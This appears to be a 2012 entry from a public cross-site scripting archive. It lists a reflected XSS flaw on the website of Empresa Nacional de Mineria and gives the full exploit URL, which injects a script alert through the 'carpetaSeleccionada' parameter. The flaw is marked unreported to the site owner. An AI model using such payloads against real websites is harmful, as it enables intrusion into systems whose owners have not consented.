Affected Entity: Empresa Nacional de Mineria

Actions: Tweet

Main URI: http://www.enami.cl/
Type: Cross Site Scripting
Exploitable URI: http://www.enami.cl/OpenSupport_Mapa/asp/pagdefault.asp?boton=Map&argInstanciaId=35&botonAnterior=&carpetaSeleccionada=xx%22%3E%3Cscript%3Ealert%28%22XSS%20by%20Klubbzx%22%29%3C/script%3E
AnonyBrowse using Anonymouse
Status: Unreported
Date: Jan. 7, 2012, 3:20 p.m.
Comments:
Cross site Scripting en carpetaSeleccionada, no filtra bien los parametros de entrada